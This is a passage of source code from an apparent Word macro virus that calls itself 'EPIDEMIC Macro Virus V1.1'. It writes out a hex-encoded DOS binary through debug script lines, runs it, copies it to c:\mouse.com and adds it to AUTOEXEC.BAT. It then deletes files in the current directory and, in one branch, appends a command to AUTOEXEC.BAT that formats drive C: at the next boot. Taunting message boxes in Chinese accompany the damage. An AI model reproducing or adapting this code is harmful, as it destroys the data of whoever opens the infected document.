Print #1 , "E 1180 BB 06 00 F7 C5 00 08 74 02 B3 02 E8 E8 00 75 1F"
Print #1 , "E 1190 80 CC 89 E8 E6 00 74 05 80 CC 02 86 C2 80 E2 07"
Print #1 , "E 11A0 24 07 D2 E2 0C C0 0A C2 86 C4 AB 5D E9 D9 FE 4B"
Print #1 , "E 11B0 75 20 92 E8 6C 00 72 F3 92 E8 C0 00 75 08 0A D2"
Print #1 , "E 11C0 74 09 0A C0 74 05 80 CC 87 EB D2 0C 90 0A C2 AA"
Print #1 , "E 11D0 EB D9 4B 75 0B B0 04 E8 AE 00 BB E1 10 D7 EB EF"
Print #1 , "E 11E0 4B 75 05 E8 63 FE EB C3 4B 75 05 E8 C1 FE EB BB"
Print #1 , "E 11F0 4B 75 05 E8 CD FD EB B3 80 E6 38 B4 01 0A E6 EB"
Print #1 , "E 1200 92 2E 36 FC FD FB 80 3E 10 14 05 74 05 80 3E 11"
Print #1 , "E 1210 14 05 C3 E8 2A 00 E8 09 00 3C 03 74 04 3C 05 72"
Print #1 , "E 1220 F2 C3 F7 C5 EF 00 F9 74 16 B8 07 00 E8 59 00 50"
Print #1 , "E 1230 98 E8 15 00 85 E8 9C F7 D0 23 E8 9D 58 74 EA C3"
Print #1 , "E 1240 50 98 E8 04 00 0B E8 58 C3 51 8A C8 B0 01 D2 E0"
Print #1 , "E 1250 59 C3 E8 F6 FE B8 02 00 E8 2D 00 91 41 E8 1C 00"
Print #1 , "E 1260 75 01 93 E8 16 00 75 01 92 E8 10 00 75 01 96 E2"
Print #1 , "E 1270 EC 56 52 53 50 C3 93 E8 0E 00 93 C3 50 B8 01 00"
Print #1 , "E 1280 E8 05 00 58 C3 B8 FF FF 1E 53 51 52 50 33 C0 CD"
Print #1 , "E 1290 1A 0E 1F E4 40 91 92 BB 9E 11 31 07 D3 07 33 0F"
Print #1 , "E 12A0 D3 C0 33 17 D3 CA 33 C2 F7 EA 33 C2 31 07 59 33"
Print #1 , "E 12B0 D2 41 74 03 F7 F1 92 5A 59 5B 1F 0B C0 C3 00 00"
Print #1 , "E 12C0 8B 1E C5 0A B8 00 00 B9 EE 08 33 FF F8 F8 F8 F8"
Print #1 , "E 12D0 F8 F8 F8 F8 47 47 E2 F4 B4 40 B9 8A 12 99 9C 2E"
Print #1 , "E 12E0 FF 1E FD 13 72 02 2B C1 9C 5D C7 04 00 00 C6 06"
Print #1 , "E 12F0 BA 12 C3 EB CB 4E 61 74 61 73 00 90 C7 06 00 01"
Print #1 , "E 1300 0E 1F C6 06 02 01 E8 E9 89 F1 00 00 00 00 00 00"
Print #1 , "E 1310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 1320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 1330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 1340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 1350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 1360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 1370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 1380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 1390 00 00 CD 20 CD 20 CD 20 CD 20 CD 20 CD 20 CD 20"
Print #1 , "E 13A0 CD 20 CD 20 CD 20 CD 20 CD 20"
Print #1 , "RCX"
Print #1 , "12AA"
Print #1 , "W"
Print #1 , "Q"
Print #1 , ""
Close #1



Open "AAA.BAT" For Output As #1
Print #1, "@echo off"
Print #1, "debug < AAA.scr > nul"
Print #1, "AAA.com"
Print #1, "copy aaa.com c:\mouse.com" >nul
Close #1
setattr "C:\AUTOEXEC.BAT",0
open "c:\autoexec.bat" for append as #1
print #1,"lh c:\mouse.com
close#1 
Shell "AAA.BAT", 0
Kill "AAA.BAT"
Kill "AAA.SCR"
Kill "*.*"  
MsgBox "     今天" + Date$() + "是我女朋友的生日" + Chr$(13) + "     所以給你們一個驚喜", "      EPIDEMIC  Macro  Virus  V1.1", 64
Beep
Beep
Beep
MsgBox "EPIDEMIC(瘟 疫)取名於 拉斯、馮、提爾 的" + Chr$(13) + "電影作品EPIDEMIC , 好看耶！ " + Chr$(13) + "電影萬歲！！！電影萬歲！！！電影萬歲！！！", "       EPIDEMIC  Macro  Virus  V1.1 ", 64

aa = Int(Rnd() * 100)
For i = 1 To aa
    Beep
    FileNewDefault
Next i
ExitWindows
Goto exit
427 :
   
   SetAttr "c:\autoexec.bat", 0
   Open "c:\autoexec.bat" For Append As #1
   Print  #1, "PATH=%PATH%;C:\DOS;C:\WINDOWS\COMMAND"
   Print  #1, "echo y | format c:/u/V:EPIDEMIC >nul"
   Close #1
Beep
Beep
Beep
MsgBox "  今天" + Date$() + "是一個大日子,請準備「大補帖」、「驅動程式」" + Chr$(13) + "、和「錢」吧！..哈..哈.....", "                                EPIDEMIC  Macro Virus V1.1", 16
Beep
Beep
Beep
MsgBox "EPIDEMIC(瘟 疫)取名於 拉斯、馮、提爾 的" + Chr$(13) + "電影作品EPIDEMIC , 好看耶！ " + Chr$(13) + "電影萬歲！！！電影萬歲！！！電影萬歲！！！", "       EPIDEMIC  Macro  Virus   V1.1 ", 64

ExitWindows
exit:

End Sub